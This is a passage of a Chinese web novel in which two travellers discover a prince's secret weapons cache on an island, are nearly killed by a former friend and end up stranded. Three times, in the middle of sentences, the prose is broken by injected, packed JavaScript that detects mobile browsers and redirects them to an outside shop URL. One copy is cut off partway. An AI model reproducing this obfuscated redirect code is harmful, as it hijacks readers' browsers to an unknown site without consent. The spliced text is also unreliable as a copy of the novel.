徐寂宁懂得法不阿贵绳不挠曲的道理,于是他度田与清查户籍时顶着同僚上司的压力与排挤也绝不为权贵作假,想着要为那些百姓抗衡那些颠倒黑白的权贵,帮他们脱离奴籍获得一纸平民身份,免受公侯王府不合理的欺压。 可如今他确实与岭南最大的权贵永安王抗衡了,只是这次颠倒是非的不是王府而是朝廷,这次百姓也不想摆脱王府附属的奴婢身份,他们不想被编为朝廷平民,而是想继续蜷缩在永安王满是慈悲怜悯的羽翼之下。 徐寂宁有意说服自己与南有音,他说他是为朝廷做事,搬出那套为了维护朝廷的安定的理论,四海之内皆是王土,岭南百姓焉能只知永安王,而不知京城天子。 南有音显然没有被说服,她问出了徐寂宁在心底不敢质疑的那个问题:“可是百姓口中的永安王爱民如子,皇上这样做,是为了岭南百姓,还是为了自己的权利?” “还是得往鲁蝶岛去一趟,”徐寂宁最后决定道,“若是鲁蝶岛所谓的宝藏无关紧要,我必然要上书京城,请皇上三思。” 徐寂宁不清楚皇帝会不会三思,其实他总是搞不清这些政治权谋的漩涡。 45. 登岛 南有音与徐寂宁决定去一趟鲁蝶岛,次日一早南有音就揣着银两跟岸上的船户谈条件了,问来问去没一个人知道鲁蝶这座小岛,南有音也晕了,回去问徐寂宁,徐寂宁只说地方志上是这个名字,民间百姓怎么称呼他也不清楚。 南有音磨了半天,总算找到一个愿意按照徐寂宁指的方向带他们寻找未知小岛的老船家了,船家是个精瘦老汉,心眼也颇多,兴许是吃准了只有自己会接这种不知终点的离谱生意,要价高得离谱,还把船舱的老旧器物搬空了,嘴上说着那些破破烂烂的玩意儿入不了二位贵人的眼,实际明里暗里要南有音和徐寂宁出钱把船上的物品换置成新的。 南有音算了算如此这般一趟下来的价钱,颇为气愤,徐寂宁却拉着她说算了,她以为又是徐寂宁贵公子哥儿的习气在作怪,对哗哗淌走的银两没有概念且满不在乎,但徐寂宁摇头,把她拉到一边温和说道:“我打听过了,船家姓林,六十出头了,妻子在前些年闹瘟疫的时候死了,两个儿子也都死在海上,他一个人也没什么挂记了,些许就是因为这个才接了我们这单活儿,我们毕竟也不缺银子了,多给他些无妨,也好方便他日后生活。” 南有音扭头看了一眼船家,那位黝黑精瘦的林老汉带着草帽,一个人蹲在岸边抽烟,时不时与路过的熟人热情响亮地打声简短招呼,招呼完毕那身扬起的嘴角便又落下了,嘴角的肌肉像是不想让笑意就这样消逝一样轻微抽搐几下,最后吸一口手上的烟,再缓缓吐出,于消散的烟雾中木木地看着岸边纷纷攘攘的人群。 南有音依照徐寂宁说得算了,只是总觉得哪里有些奇怪,直到买完细软又去买菱花镜时,她才恍然意识到怪在何处——徐寂宁过去好像不会这样想,虽然他往日读的书学的道理教他会心怀百姓,但他好像惯于高高在上的俯视与指责,如今似乎有点不同了…… 还未等她细想,镜子铺的伙计就向她推荐起各式各样的菱花镜,她买了一面普通的小镜子,忽地想起阮家六妹那面磨得瞧不出人影的镜子,于是听了伙计的忽悠,又咬牙买了一面样式格外好看,价格也分外惊人的大镜子。 店外等着的徐寂宁接过她手里的镜子替她抱着,奇怪道:“你买两面镜子做什么?” 南有音道:“我想着鸣鸥哥说他们给阮二哥送衣物就悄悄放在岛上,我想把这面镜子也放在岛上,留个字条,等着阮家人再上岛的时候带给六妹妹。” 徐寂宁却摇摇头,温和道:“我们上鲁蝶岛是偷着去,最好不要被永安王的人画法,你留下镜子什么的,岂不就暴露行踪了。” “呀!我竟然把这个忘了。”南有音一拍脑袋,她原想着再买更多东西给阮家人留在岛上,只好悻悻叹了口气,慢条斯理道,“之前没做过贼,这种偷偷摸摸的事没什么经验。” 徐寂宁听出南有音话里挤兑的意思,挑了下眉毛,说道:“你上树爬墙样样精通,可有满身的贼本事呢。” 南有音一笑,转而问道:“这多余的镜子怎么办?要不退回去?” “留着吧,我看你也很喜欢呢。” 南有音与徐寂宁又采购了其余物品,将林老汉一只小船装得满满的,终于在午后启程,向着东南方向的鲁蝶岛驶去。 一路顺风,行驶到第三日清晨,果真见到了一座孤零零浮在海面的岛屿。 林老汉眼神好,远远的就看到岛上竟然修着栈道,“咦”了一声,奇怪道:“这种荒岛还能有人烟?” 南有音与徐寂宁对视一眼,心知没错了,这便是阮鸣鸥口中所说的藏着永安王宝藏的岛屿。 林老汉将两人送到岸边,仍忍不住奇怪这岛上难道有人,徐寂宁不方便与他多说,他担心永安王的人不知什么时候就会来了,告诫林老汉不要在岸边靠着,先往其他地方行驶,等到天黑再来接他们。 南有音与徐寂宁上了岸,沿着岛上栈道走,走进了这片郁郁葱葱的岛屿,因为是夏天的缘故,里面潮湿闷热,但也姹紫嫣红,一路上各种野花争奇斗艳,蜂蝶成群。 徐寂宁指着一只扑闪着翅膀的蓝灰色蝴蝶,告诉南有音说那种蝴蝶便是鲁蝶,地理志上说此岛多是这种蝴蝶,故而称之为鲁蝶岛。 南有音对蝴蝶兴趣不大,她一路上发现了许多野果,时不时摘两个尝鲜。 他们走着走着,走到了栈道的尽头,面前出现了一个黑黢黢的山洞,两人对视一眼,走了进去。 山洞很浅,不等完全吞噬掉所有光线就到了尽头,尽头是一扇巨大的石门,徐寂宁断定有什么开门的机关,他与南有音在昏暗的光线中到处摸索,却忽然听到不远处传来了脚步声与谈话声。 未等他反应过来,南有音先拉着他躲到了一块大石头后面。 这便是最坏的情景,恰好撞上了永安王的人也到了岛上。 南有音与徐寂宁藏在石头后,紧紧贴在一起,几乎不敢呼吸,生怕发出任何声音暴露了踪迹。 两人像是走在钢丝上一样悬着心,只竖着耳朵听着那脚步声与说话声越来越近。 听声音来的是两个人,一个人在不断地训另一个人。 一人声音生硬冷漠,听起来像是在教训新来的下属:“你可想好了,跟着永安王做事,尤其是做这件事,日后可不能反悔,这岛上的东西,你见了之后万不可跟任何人提起,家中父母兄弟都不能说……” 一个人喋喋不休的说,另一个像是下属的新人嗯嗯啊啊的应着。 南有隐约觉得这个声音有点耳熟,但高压之下她呼吸都困难,没有功夫分神细想。 那个生硬的声音又道:“机关在这儿,你先熟悉了,下次你就能自己带人上岛了。” 接着一阵铁链的碰撞声,而后又是一阵轰鸣巨响,那道厚重的石门缓缓开了。 又听到一阵摩擦火折子的声音,来的那两人点燃了火把,往石门后面的洞穴深处走去。 南有音与徐寂宁瞧瞧从石头后面露出头,借着那两人的火把光芒去窥探洞穴里的宝藏究竟是什么。 火把的光照在洞穴之中,折射出数道泠泠寒光。 南有音以为她会看到金山银山或者珠宝山,她以为会被财宝的璀璨晃到眼睛,却不料洞穴里皆是兵甲的飒飒冷光。 尖锋利刃的寒光在火焰下跳动着,成捆的箭簇冷光四射,一排又一排的铠甲在火光中投下斜长可怖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445805|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的影子。 南有音感到身旁紧挨着自己的徐寂宁身体开始颤抖了,片刻之后她意识到是自己在发抖。 满洞穴的兵甲。 不用徐寂宁说她也知道这意味着什么,地方王爷私藏兵甲是谋逆的大罪,而她与徐寂宁若是此时被永安王的人发现,毫无疑问死路一条。 她与徐寂宁继续躲在石头后面,冷汗津津,打湿了她的额头和后背,她害怕极了,浑身抖得几乎停不下来,她拼命抿着嘴巴,生怕会不小心泄露喉间的呜咽。 她感到她的手被紧紧握住了。 “别怕。”徐寂宁在她的耳边用极小的气声说道,他抓住了她的手,握地很紧,温暖而有力,两只同样冒着冷汗的手紧紧牵在一起,好像都给了彼此一些支撑。 南有音渐渐冷静下来,她知道现在要做的就是安静的躲着,等那两个人离开。 她与徐寂宁蜷缩在石头后面,在这个光线暗淡的洞穴里,只感觉时间无比的漫长,漫长到南有音浑身发冷,觉得夏天过去,冬天到来了。 不知过了多久,又是一阵轰鸣,石门闭上了,而后是一前一后的沉闷脚步声,一直到脚步声消失很久,南有音与徐寂宁才敢从藏身之处现身。 两人望着彼此,具是心惊胆战,颇有些劫后余生的虚脱感,两人瘫坐在地上喘息着,紧紧相握的两只手过了很久才缓缓松开。 即便那两人已经走远,南有音仍然不敢大声说话,用悄悄话一样的声音道:“永安王真的要谋反?” 徐寂宁道:“不论如何,藩王私藏兵甲都是足以杀头的大罪。” 南有音打了一个哆嗦,小声道:“我们接下来怎么办?我有点害怕。” 徐寂宁也同头顶悬着一块巨石一般紧张,他强装镇静,一下一下的轻轻抚摸南有音的后背,柔声安慰道:“放心,他们应该很快就走了,等天黑了林伯父的船就来接咱们了,不会有什么事的。” 南有音惊魂未定,小声问道:“什么时候才天黑,他们不会再回来吧。” 徐寂宁也忧心永安王的人会不会再来,仍安抚道:“很快就天黑了,他们也不会回来了。” 南有音蜷缩着,在空洞黑暗的洞穴中只有她与徐寂宁的呼吸与心跳声,她听着徐寂宁节奏渐渐平缓的心跳声,也逐渐平静下来。 夏日很是燥热,她仍旧紧紧靠在徐寂宁身边,或许是恐惧过后的疲惫叫人不愿动弹,也或许是因为两人依偎在一起时好像能给彼此积分支撑,白昼也就不会那么恐惧且难熬了。 他们静静等着洞外的天光逐渐变成火红的晚霞,等着紫红色的天空渐渐被繁星点缀。 而后在月光的照耀下往海滩跑去,远远的便看见了一艘船。 临到岸边,两人忽然察觉到不对劲儿,岸上的船好像不是林老汉的。 而那艘船上的人好像也察觉到了他们两个。 南有音当即拉着徐寂宁拼命地往树林里逃窜,林中的树枝藤蔓不断地磕绊两人的腿脚,任两人如何跑,始终甩不掉身后穷追不舍的脚步声。 黑暗之中,情急之下,南有音一脚踩空,又一次拉着徐寂宁体验到了强烈的失重感。 46. 重逢 随着南有音一脚踏空,她与徐寂宁又一次跌落山谷,在不知道翻滚了多少次之后,终于停在了一片柔软的草地上。 她想立刻起身拉着徐寂宁继续逃跑,但额头处传来一阵剧痛,她确信刚刚自己的脑袋与某块嶙峋的石头狠狠撞击,这阵疼痛让她脑袋嗡嗡的,眼冒金星,不敢动弹。 在迷迷糊糊中她听到有人在喊叫。 “二哥,他们掉下去了!” 这个声音她很熟悉,但接下来响起的是那个冷硬声音让她顾不得反应那个熟悉声音的主人是谁。 那个冷硬又强势的声音说:“你拿好刀,下去看看,正好杀了他们,向王爷表示忠心。” 南有音霎时就出了一身冷汗,分不清是疼得还是吓得。 她不等着脑壳的疼痛减轻就立刻挣扎着坐起来,些许是动作太急太猛,她一坐起来,更觉得头晕目眩。 在她即将再次倒在草丛时,有人轻声呼唤着扶住了她,她知道是徐寂宁,顺势倚在他身上。 她头晕的要命,好像在瞬间所有的血液都往头上涌一样,涨得她太阳穴一跳一跳的,眼前涌现出黑白色的星星点点,什么也看不清,耳边是徐寂宁在叫她的名字,像一阵时远时近雷鸣,徐寂宁似乎要着急带她逃,但她头晕的不行,一步也动不了。 她缓了一会儿,等到五感重新清明时,才扶着脑袋勉强抬起头,除了徐寂宁,她还见到了一张她非常熟悉的脸,一张即便写满难以置信,即便是在月光下,依旧会让她觉得朝气蓬勃的脸。 她见到他,嘴角不由自主地扬了起来。 “鸣鸥哥?你怎么在——”她的半截话猛然停住了,因为她看到了阮鸣鸥脸上惊讶的神情转瞬即逝,接着被一层冷酷的杀意笼罩。 未等她看清,徐寂宁迅速起身把她护在了身后。 “她是无辜的,”徐寂宁快速道,“放她走,她什么都不懂的,只杀了我便足够交差。” 南有音从徐寂宁背影的空隙处窥到了一把利刃,在月光下寒光闪闪,她几乎是反应了一会儿才意识到拿着这把刀的是阮鸣鸥。 是阮鸣鸥要杀他们。 她下意识觉得这个想法过于荒谬,怀疑自己的脑袋是被石头撞坏了,明明此前是阮鸣鸥从悬崖下救了她与徐寂宁。 “徐寂宁,他是鸣鸥哥呀,你们两个……”她无比困惑,搞不懂阮鸣鸥拎着刀与徐寂宁对峙什么呢。 直到山崖之上又传来那个强势的声音,高声催促阮鸣鸥快些动手,她才骤然意识到她与徐寂宁躲在山洞岩石后听到的声音就是阮鸣鸥与阮家二哥的。 难怪她总觉得熟悉,她与阮鸣鸥朝夕相处数天,相当熟悉他的音色。 而现在,他确确实实要杀了她与徐寂宁。 听到山崖上方的催促声,徐寂宁不等阮鸣鸥反应就迅速冲了上去,似乎想要把劈手夺下那把利刃,然而让他这样一个京城娇生惯养的文弱公子哥显然不是阮鸣鸥这种青年常年搏击风浪的青年的对手。 不出片刻,徐寂宁捂着肋骨,支撑不住跪倒在地,口中发出痛苦地喘息。 山崖之上的催促声又想起了,阮鸣鸥立刻仓惶地举起了刀,刀刃在月光下散发冷冷寒光。 在阮鸣鸥挥刀的刹那,跪倒在地的徐寂宁强撑着身体,死死抓住了刀,转头对南有音叫到:“你快跑!” 阮鸣鸥没有预料到徐寂宁会空手夺刀,一时愣住了。 鲜血顺着刀刃一滴一滴的渗入了脚下的草坪,即便已经感受到凉飕飕的刀刃切入掌心,徐寂宁仍不敢松手,他清楚如果他死了,下一个就轮到南有音了。 “放了她吧。”在阮鸣鸥晃神的刹那徐寂宁抓住一切机会求情。 “我看得出来,你很喜欢有音……”徐寂宁神色有些黯淡,“她……她似乎也——” “你不用骗我了,你们不是什么义兄义妹,其实是夫妻对不对?”阮鸣鸥声音有点发颤,“我听二哥说了,永安王在追杀一对从末山逃走的夫妻,我不想怀疑你们是朝廷的人,可你们偏偏出现在这座岛上——” 山崖山又传来阮家二哥的声音:“鸣鸥,你在磨蹭些什么呢?刚刚那个撑船的老头我已经替你动手了,现在这两个人你应该能处理吧。” 阮鸣鸥抿了一下嘴唇,似乎是下定决心一般狠狠一踹,接着徐寂宁的身体就飞了出去,撞在一块石头上,发出了沉闷的响声,他的嘴角流出一缕血迹,软绵绵地摊在那里,登时没了动静。 阮鸣鸥似乎也拿不准徐寂宁的死活,提着刀想要去再补上一刀。 南有音大惊失色,她脑袋仍然疼得要命,她压根站不起来,只好拼命爬向徐寂宁的方向,抓住阮鸣鸥的裤腿,想祈求他饶了徐寂宁,却害怕到除了颤抖地发出一些细碎的声音,什么话也说不出来。 阮鸣鸥神情晦暗地注视着她,在她颤抖地喊出“鸣鸥哥”三个字时,那双令南有音感到陌生的冷酷眼睛好像刹那间亮了一下,仿佛微微笑了一下。 山崖上的阮家二哥似乎等得有些不耐烦了,又开始催促:“鸣鸥,你动作利索点儿,现在快点解决了剩下这两个偷窥王爷秘密的逆贼,事成之后,我会向王爷汇报你的忠心,再请人为你美言几句,这样六妹的嫁妆,乃至你想买一艘船,都不在话下。” “鸣鸥哥……”南有音喉头终于挤出了一些断断续续的语句,“不要杀他……求求你……” 她断断续续的哀求,阮鸣鸥那双乌黑的瞳仁里好像浮现出了几分于心不忍,他不自觉的缓缓垂下了刀柄,茫然无措。 山崖上的阮二哥继续催促道:“鸣鸥,别有什么妇人之仁,无论他们怎么哀求都绝对不能留活口,你看到了岛上的宝藏是什么,你也清楚王爷私藏兵甲意味着什么,如果被人发现,你知道的……” 阮家二哥没把话说全,剩下的留给阮鸣鸥自己思索。 阮鸣鸥略有茫然的神情重新凝重起来,他再次犹豫着举了起刀,刀尖的血迹滴到了南有音的脸上。 利刃之下南有音像是反应不过来她已经命悬一线一样,愣愣地呆住了。 如今的阮鸣鸥让她感到无比陌生,她几乎不相信眼前的人是那个在海边朝霞中救下她与徐寂宁的人,至今她还记得与他日出时刻初逢,他笑意盈盈像极了朝阳,那天他抱起走不了路的她时,她听到他滚烫胸腔内有力的心跳声,她也记得落日时分曾与他看着一望无际的汪洋畅谈天下风景,发现彼此的理想何其相似,她更记得月夜流萤,含蓄克制到只能看一颗星星…… 她离开末南不过半月,分别时分明还挂记着彼此,而如今却不知道怎么回事,忽然间两人就变得生死对立了,一个举刀欲刺,一个引颈受戮,恍惚中她感觉与阮鸣鸥谈论起神往的西域仿佛是上辈子的事一样久远。 鲁蝶岛上月光皎洁,繁星漫天,四下还有海浪和微风,一切都像极了阮鸣鸥带着他们去看流萤的那个夜晚,南有音想喃喃道:“鸣鸥哥,你看月亮,我们又在一片星空下了呢,我说得很对吧,有缘还会相见。” “……南姑娘。”阮鸣鸥的声音同南有音一样的颤抖,但只唤了一声她就没了,他已经摆好了用刀的架势。 明晃晃的刀刃就悬在南有音的头顶上,她深知在劫难逃,却在这种关头却望着阮鸣鸥的脸想起了一个无关紧要的心愿——她曾买了一面镜子,却不知有什么办法送给阮家六妹,而现在,她遇见了阮鸣鸥。 “鸣鸥哥,我还有一句话要说!”她说得飞快,也说得语无伦次,生怕说得慢了,话没说完刀先落下,“你见到我搭的那条船了吗?船上有一面大镜子,当时我多买了一面,想要送给六妹妹。” 南有音也不晓得握着刀双手颤抖的阮鸣鸥听没听懂她乱七八糟地话,只自顾自飞似地说:“本来想着买了也没办法再回末南村了,白白浪费钱,现在正巧遇到了你,你们杀了船家……” 南有音控制不住地颤抖了一下,又说道:“那艘船你们……镜子就在船舱,你带给六妹妹吧……” 南有音声音愈来愈低,最终低垂着脑袋,等待着死亡降临,她感到脖子很痒,因为刀尖直冲着。 但她想象中的疼痛迟迟没有到来,只有一阵带着血腥气的疾风从她耳边划过。 阮鸣鸥的刀偏离了预想中的方向,擦着南有音耳朵劈在了草地上。 阮鸣鸥举起刀,却在刹那看到了南有音左手腕挂着的一串海螺,这些海螺过于的五彩斑斓,晃得他的心骤然缩了起来,也瞬间使他手腕脱了力气。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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阮鸣鸥垂着眼帘,声音越来越小,好像底气不足一般:“你只要答应我就好,徐弟我不会杀,他死了你会很伤心,所以我不杀他……” 他是要她活着离开这座岛。 南有音温声道:“鸣鸥哥,你过来,靠近点儿。” 阮鸣鸥走近,然后坐在了南有音对面,两人就这样面对面坐着,注视着彼此眼眶里渐渐蓄满了晶莹的液体。。 “我答应你。”南有音张开双臂,抱住了阮鸣鸥,鼻尖很是酸楚,“我们还能再见。” 阮鸣鸥犹豫着,也轻轻拥了南有音的腰肢一下,他强撑着,但还是有一些晶莹的液体不受控制地涌出了眼眶,顺着他眼角滑下,挂在下颌角,然后又坠落在草地。 山崖上的阮二哥又开始喊话,听起来很生气,问阮鸣鸥到底在磨蹭什么,说要亲自下来看看。 这一道刺耳的声音吓了阮鸣鸥一跳,他像是被烫到一样迅速站了起来,重新握住刀,在轻微摇头示意南有音不要怕之后,大声回话道:“我已经把他们都杀了,只是在找他们身上有什么值钱的玩意儿。” 阮鸣鸥垂眸看向南有音,好像万般纠结一样张嘴又闭嘴,最后从喉咙里挤出了几个字:“南姑娘,我不杀你,但我也不能放你走。” 他没法杀她,但他也没法放她走。他的二哥杀了林老汉,抢走了船,她被困在这孤岛上了。她知道了岛上的秘密,而她的丈夫是朝廷的人,他却已被二哥带着蹚进了王府这片浑水了,只要卷入其中,剩下只有你死我活。 “南姑娘,我……”阮鸣鸥不知道该怎么说。 南有音于在电光火石间忽地读懂了阮鸣鸥幽微难言的神情,她尽力摆出一个微笑:“我答应过你,还会再见的。” 她会活着走出这座岛的,她还想着骑一匹马,走遍天下呢。 “下次再见不要再这样了,最好是桥头江心,”阮鸣鸥也强撑着笑,“你骑马过桥时记得看一眼江中的游船。” “好,我一定会。”南有音信誓旦旦。 阮鸣鸥最后又深深地看了南有音几眼,而后迅速转身走了,仿佛怕自己反悔一样,一次也没有回头。 南有音目送着他的背影,消失在树林,消失在暗夜,永远的消失。 47. 落难 徐寂宁意识恢复时天已大亮,夏日阳光喧嚣着洒下来,铺天盖地,烘烤着鲁蝶岛的一切,炙热而又刺眼。 他无遮无掩,完全暴露在烈日之下,身上唯一的一片小小阴影是他身侧的南有音投下的。 南有音抱着膝盖坐着,蜷缩成小小一团,头发乱糟糟的,脑袋低垂着,一点一点的,好像是睡着了。 “有音?”徐寂宁试探着轻轻唤了一声,他感觉她好像很累,在想是不是还是让她继续打会儿瞌睡。 但南有音却猛地一个激灵,瞬间醒了过来。 “徐寂宁?”她瞪大眼睛,叫了一声他的名字。 徐寂宁应了一声,南有音又立刻扑到他脸前,伸手扒了扒他的眼皮,捏了捏他的鼻子,在徐寂宁瓮声瓮气地问她到底在做什么时,她才确定这次徐寂宁是真的醒过来了,而不是自己太过期待而产生的错觉。 她一直在等着徐寂宁醒过来,她检查了他抓过刀刃的手,左手还好,但右手不容乐观,伤口很深,里面的肉几乎翻了出来,她小心地替他擦掉了嘴角血迹,却不清楚他究竟伤的如何,一整夜她想起来就趴在徐寂宁的胸膛上,忐忑地听听他的心脏是否还在跳动。 徐寂宁捂着发痛的后背试探着想要坐了起来,南有音却猛地一拉他的胳膊,叫他迅速地坐了起来,徐寂宁只感觉上半身要散架立,还有起来的太快,眼冒金星。 南有音却非常开心地笑了:“徐寂宁,你终于醒啦!” 她把“终于”两个字咬得很重,拖得很长,但语气却又轻快得很,像是在埋怨或者嗔怪徐寂宁一样。 徐寂宁微微一笑,抬手摸了摸南有音额头上干涸的血迹,温声道:“有音,你的头还痛吗?” “我早就好了。”南有音道,“你呢,感觉怎么样了?” “还好。”徐寂宁只感觉非常的乏力,他与南有音自登上鲁蝶岛后,已经整整一天滴水未沾粒米未进了,两人的肠胃都空虚无比,嘴唇干得发白,卷起了一层干皮。 “既然你醒了,”南有音拍了拍身上的土屑,又强行把徐寂宁从地上拉起来,“那咱们就不要大太阳底下晒着了,走吧,去树林里凉快,顺便找点吃的喝的,我快渴死了,也快要饿死了。” 徐寂宁站起来跟着南有音走了几步,脚步虚浮,摇摇晃晃,浑身冒虚汗,坚持了片刻后眼前发黑,在一阵天旋地转中倒下了,还好南有音眼疾手快,扶住了他。 南有音焦急问道:“徐寂宁,你怎么了?” 徐寂宁缓了一会儿,才开口说道:“还好,只是太久没吃东西,有点难受。” 他自小不愁吃喝,向来是下人们到点就会送来饮食,他连少吃一顿饭的机会都不曾有,那娇气的身体更是撑不住一整天不吃不喝。 “你还能走吗?”南有音扶着徐寂宁缓缓坐下了。 徐寂宁不断地冒虚汗,刺眼的阳光晃得他什么也看不见,耳朵里也像灌了一层水一样,听不真切。 他缓了一会儿,又重新站起来,但没走两步,那种天旋地转的感觉又淹没了他。 他是没法行动了,他坐在地上,歪着脑袋虚弱道:“有音,我还是在这等你回来吧。” 南有音心里没底,她不清楚徐寂宁究竟是饿晕了还是昨夜伤到了五脏六腑,她是不敢让徐寂宁自己呆着,于是背对着徐寂宁蹲下了身子。 徐寂宁有一刹那的茫然:“有音?你这是?” “一回生两回熟,徐寂宁,上来吧。”南有音做好了背人的架势。 徐寂宁脸有点红,好像有些扭捏。 南有音催促道:“别磨蹭,再在这大太阳地里晒一会儿,我也要变得跟你一样头晕了。” 见徐寂宁还是有些犹豫,南有音又拿出那种专门用来哄小孩儿的语气,甜腻腻地说道:“这次你放心,现在是大白天,我看得清楚路,肯定不会再带着你一块翻到沟里去了。” 徐寂宁最终还是屈服了,他趴在南有音的背上,很是难为情道:“有音,我不是小孩。” 南有音咬咬牙,背起徐寂宁,往岛中央的树林走去。 树林高大茂密,阳光透过树叶的缝隙,星星点点的散落在地面上,南有音脚踩着林中的光斑,一路上走走歇歇,顺便也将夜晚的事情一一讲述,只是她实在是口干舌燥,讲着讲着嗓子就哑了。 她一路上也没有找到任何水源,实在背不动徐寂宁了,只好摘了林子里一些野果解渴充饥。 尽管她干渴的要命,想要立刻吞了这些看上去鲜嫩多汁的果子,但她还是意识到了一个严峻地问题:“万一这些果子有毒怎么办?” 她将那些五颜六色红红紫紫的野果摆在徐寂宁面前,问他认不认识。 徐寂宁摇了摇头。 南有音道:“我也不认识。” 徐寂宁表示可以让他先吃,如果他吃了没什么事,南有音就可以吃了。 南有音表示感动的同时也立刻拒绝了徐寂宁以身涉险的请求,而是决定换成她来试毒,理由是她的身体比徐寂宁强健很多。 在一串紫色的浆果晋江落入南有音的嘴巴时,却被徐寂宁却劈手夺走了,接着徐寂宁也因为这个小小动作又头晕目眩起来。 南有音一阵手忙脚乱,叫徐寂宁倚着一棵树斜躺着。 “有音,你不要冒险。”即便晕到眼前一片白光什么也看不见,徐寂宁还是出声阻拦。 “还是让我来吧,”他微微一叹,闭着眼轻声道,“我是朝廷的命官,到岛上调查是分内的事,被困岛上只好自认倒霉,但是你,有音,你是被我卷进来了,无辜受累,事到如今,怎么还能再让你冒险试毒……” 南有音与徐寂宁争执了几句,谁也没说过谁,徐寂宁头晕地更厉害了,南有音也饿得心慌。 最终南有音放弃了继续争执,她觉得她再这样饿下去就要沦落到跟徐寂宁一样虚弱了。 她将野果们一分为二,徐寂宁拿一半,她自己拿一半,她举起那半个果子,又拉起徐寂宁绵软无力地胳膊,让两人手里的野果碰撞了一下,像是在干杯。 然后她又用一种像是即将慷慨赴死的语气,悲愤地说道:“徐寂宁,作为好朋友,我们不求同年同月同日生,但求同年同月同日死!所以我和你一人吃一半,要死也是一起死!” 南有音与徐寂宁分食了数十个果子,两人很幸运,并没有吃到什么致命的果实,只吃到一个外皮会流出乳白色汁液会灼伤唇角的不知名野果。 胃里填满了甜滋滋的野果后,两人渐渐恢复了精力,坐在树荫底下讨论该如何离开这座孤岛,最终决定先在岛上到处看看,至少要找到能喝的水。 两人在树林里继续走,很快就走到了栈道附近,出于谨慎,担心会再次碰到永安王的人,两人没有在栈道上走,而是走在栈道下面一人高的灌木从中。 灌木长得很密,有的开着花 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14445807|154041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有的长着刺,里面的小虫子很多,只走了一会儿,南有音就觉得浑身痒痒起来。 不多时快到栈道尽头时,徐寂宁忽然拍了一下她的肩膀,然后“嘶”了一声。 “怎么啦?”南有音问道。 徐寂宁张开伤痕累累的右手,手心躺着一只被拍扁的毛虫,颜色鲜艳到晃眼。 南有音立刻捡了一片树叶,把毛虫尸体扫走,但徐寂宁本就受伤的手心还是变了颜色,红得像是渗出血来了,她轻轻刮了一下,徐寂宁立刻倒吸了一口凉气。 那只毛虫颜色显眼,一看就知道不能碰,她不禁对徐寂宁傻乎乎地行为感到几分气急:“你摸这种虫子干什么?你看不出这玩意儿有毒?” “虫子掉到你领口了,我怕它钻进你脖子里,有点着急就……”徐寂宁声音有点抖,脸色也发白,嘴唇抿成了一道线,右手火燎一般的疼痛让他额头上渗出汗珠。 被毛虫扎了不至于致命,但免不了疼痛,只是现在位处荒岛,南有音也不是郎中,不懂得怎么处理,一时有些忧心起来。 徐寂宁强撑着笑了一下:“也就刚开始那一下很疼,现在好多了,有音,你也小心点儿。” 他拒绝了南有音停下休息一会儿的要求,加快脚步离开蚊虫密布的灌木林。 当植被越来越稀疏矮小的时候,他们看到了沙滩与海岸,一望无际,寂寥空旷。 在一片金色与蔚蓝之中,南有音发现了异样,沙滩上有飞溅的血液,血液的尽头是一具尸体,一半在岸上,一半被海浪不断地冲刷着,已经有些发白。 徐寂宁也发现了,他说道:“是林伯父的……尸体。” 林老汉的尸体躺在沙滩上,像那天林老汉独自一人蹲在岸边抽烟一样,看起来孤零零的,只是这次没有路过的行人大声同他打招呼。 南有音有些不忍心看到林老汉独自一个人,很可怜地躺在那里,于是她走过去,大声与林老汉的尸体打了声招呼。 徐寂宁扯了扯她的袖子,小声道:“有音,他,已经死了。” “死了……”南有音俯身查看,惊走了停留在林老汉无神眼珠上的飞虫,她盯着那双浑浊眼睛看了一会儿,有些呆滞。 徐寂宁拉开南有音,用还算完好的左手替林老汉阖上了仍然望着天空的空洞眼睛。 他叹了一口气,又拉了拉一动不动地南有音:“有音,咱们走吧。” “他死了?”南有音喃喃道。 她与徐寂宁早就说好会给林老头一大笔钱,足够这个鳏居老人后半生不必在吞噬他两个儿子生命的幽深海浪中苦苦谋求生计,他可以安享晚年,吹吹牛皮,耍耍威风,然后再好好休息,但林老汉现在就死了。 她惊惧、犹疑,感到难以置信,更是不愿相信昨日还活蹦乱跳的人今天尸体就已经发白发胀。 她看到了林老汉脖颈处一道伤痕,伤痕周围的皮肉已经被海水泡的翻了出来,高温之下,腐烂的很快,当海风迎面吹来时,她闻到了若有若无的腐烂气息。 她忍不住干呕,把刚刚吃下的野果全都吐了出来,吐得口中发酸,喉咙像是被烧灼了,眼框甚至还渗出了几点泪水。 徐寂宁搀扶着她,轻轻拍着她的后背,抹去她发红眼睛的留下的泪水,她则抓住了徐寂宁的手,注视着他的眼睛,非常认真道:“徐寂宁,我们不能死在这座岛上。” “好。”徐寂宁应答得很是温和。 48. 渡水 鲁蝶岛不大,南有音与徐寂宁很快在岛上搜寻了一遍,但一直到夜幕降临,他们都没有找到任何脱困的办法,也没有找到可以喝的淡水,唯一一点进展是在岸边找到了一个山洞得以容身,不必躺在沙滩或者草地上过夜了。 